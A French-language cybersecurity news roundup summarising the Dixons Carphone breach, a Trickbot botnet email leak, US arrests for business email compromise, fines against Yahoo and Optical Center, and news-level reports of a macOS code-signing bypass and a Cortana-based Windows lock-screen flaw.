[FUITE DE DONNÉES] Dixons Carphone, une multinationale spécialisée dans l'électronique et les télécommunications, qui a reconnu être victime d'une importante fuite de données impliquant 5,9 millions de cartes de paiement et 1,2 millions de données à caractère personnel. À noter, que cette même société a déjà été victime en 2015 d'une fuite de données impactant 2,4 millions de données à caractère personnel, dont 90 000 cartes de paiement.

Un chercheur en renseignement sur la menace a mis la main sur 43 millions d'adresse emails suite à l'analyse d'un botnet utilisé dans une campagne d'envoi de mails malveillants distribuant le cheval de Troie Trickbot. Cela fait suite à une mauvaise configuration du serveur utilisé par les cybercriminels.

Selon une étude récente, le nombre d'identifiants compromis ciblant l'Europe et la Russie depuis début 2018 a augmenté de 39% et cela représente désormais la moitié des cibles de fuite de données. Espérons que l'entrée en vigueur de la RGPD renversera la tendance…

[JUSTICE] Les forces de l'ordre américaine ont arrêté 74 personnes impliquées dans des fraudes de type Business Email Compromise (BEC) et ont saisi 2,4 millions de dollars et récupéré 14 millions de dollars de transferts frauduleux. Pour rappel, le coup estimé du BEC, à travers le monde, en 2017 était de 675 millions de dollars.

Yahoo! a été condamné au Royaume-Uni à 250 000£ suite à la compromission de 500 millions de comptes, dont 500 000 britanniques en 2014.

La CNIL a sanctionné à nouveau Optical Center en lui infligeant une amende de 250 000 euros pour atteinte à la sécurité des données de ses clients.

[VULNERABILITÉ] Une vulnérabilité vieille de 11 ans ciblant macOS a été dévoilée par un chercheur en sécurité. Celle-ci se base sur le contournement de l'API de signature de logiciels d'éditeurs tiers qui permet de faire passer du code malveillant non signé comme étant signé par Apple.

Il y a quelques jours encore, il était possible de déverrouiller une session utilisateur Windows et de changer le mot de passe associé sans aucune action de son utilisateur. La technique ? Le demander gentiment à Cortana, l’assistant virtuel embarqué dans Windows 10.